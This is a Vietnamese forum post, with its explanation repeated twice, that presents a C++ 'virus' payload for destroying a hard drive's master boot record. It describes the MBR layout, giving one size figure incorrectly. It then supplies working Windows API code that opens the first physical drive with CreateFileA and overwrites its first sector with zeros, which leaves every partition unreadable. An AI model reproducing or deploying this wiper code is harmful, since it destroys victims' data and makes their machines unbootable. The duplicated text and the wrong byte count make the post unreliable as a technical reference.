C, C++ cho Virus - Phá hủy MBR của ổ cứng, làm mất tất cả các phân vùng trong ổ cứng
Loại virus này chắc cũng có nhiều bạn gặp phải, sau khi download một chương trình lạ nào đó và dùng một thời gian, hay ngay khi tắt máy và sáng hôm sau mở lên thì hiện lên một màn hình đen xì, khi cắm ổ cứng vào máy khác để đọc thì ổ cứng trắng trơn.
- Cơ chế hoạt động : Hacker chiếm quyền truy xuất vào thiết bị ổ cứng, sau đó dùng một số phương thức ẩn hoặc ghi đè nội dung của Sector đầu của ổ cứng . Sector đầu là Sector chứa bảng phân chương (thông tin về các phân vùng trên ổ cứng) của hệ điều hành , kích thước = 512 Byte
+ 444 Byte đầu là chương trình nhận biết
+ 64 Byte tiếp theo là thông tin của các phân vùng
+ 2 Byte cuối là chữ ký hệ thống - 55 AA
Hệ điều hành dựa vào bảng này để tải các phân vùng, nếu phân vùng là Primary và được Active thì hệ điều hành sẽ trỏ tới file BootLoader để nạp hệ điều hành có trên ổ này, đồng thời cũng tải tất cả các phân vùng Primary và Logical khác, như ổ dữ liệu .
=> SECTOR đầu rất quan trọng
Mình xin DEMO một đoạn code nho nhỏ (PAY LOAD), viết bằng C++ sử dụng các hàm API có sẵn, tất nhiên là khi Hacker viết code thì sẽ hạn chế sử dụng các hàm API này:
1. Mở Handle Device của ổ cứng, đường dẫn (địa chỉ) của HDD
Tiến hành Open sử dụng hàm CreateFile ..
2. Tạo dữ liệu trắng , có thể hiểu là SECTOR trắng và ghi đè lên SECTOR có sẵn hiện tại
- Cơ chế hoạt động : Hacker chiếm quyền truy xuất vào thiết bị ổ cứng, sau đó dùng một số phương thức ẩn hoặc ghi đè nội dung của Sector đầu của ổ cứng . Sector đầu là Sector chứa bảng phân chương (thông tin về các phân vùng trên ổ cứng) của hệ điều hành , kích thước = 512 Byte
+ 444 Byte đầu là chương trình nhận biết
+ 64 Byte tiếp theo là thông tin của các phân vùng
+ 2 Byte cuối là chữ ký hệ thống - 55 AA
Hệ điều hành dựa vào bảng này để tải các phân vùng, nếu phân vùng là Primary và được Active thì hệ điều hành sẽ trỏ tới file BootLoader để nạp hệ điều hành có trên ổ này, đồng thời cũng tải tất cả các phân vùng Primary và Logical khác, như ổ dữ liệu .
=> SECTOR đầu rất quan trọng
Mình xin DEMO một đoạn code nho nhỏ (PAY LOAD), viết bằng C++ sử dụng các hàm API có sẵn, tất nhiên là khi Hacker viết code thì sẽ hạn chế sử dụng các hàm API này:
1. Mở Handle Device của ổ cứng, đường dẫn (địa chỉ) của HDD
Mã:
.PhysicalDrive0
Tiến hành Open sử dụng hàm CreateFile ..
Mã:
HANDLE hDevice = CreateFileA(".PhysicalDrive0", GENERIC_ALL, NULL, NULL, OPEN_EXISTING, NULL, NULL);
2. Tạo dữ liệu trắng , có thể hiểu là SECTOR trắng và ghi đè lên SECTOR có sẵn hiện tại
Mã:
BYTE *bData = new BYTE[512]; // InitInstance Block Data
DWORD bRead;
int i = 0;
while (i < 512) bData[i++] = 0x00; // Create Empty Sector
WriteFile(hDevice, (LPVOID)bData, 512, (LPDWORD)&bRead, NULL); // Write Empty Sector to MBR
delete[] bData;
Chỉnh sửa lần cuối bởi người điều hành: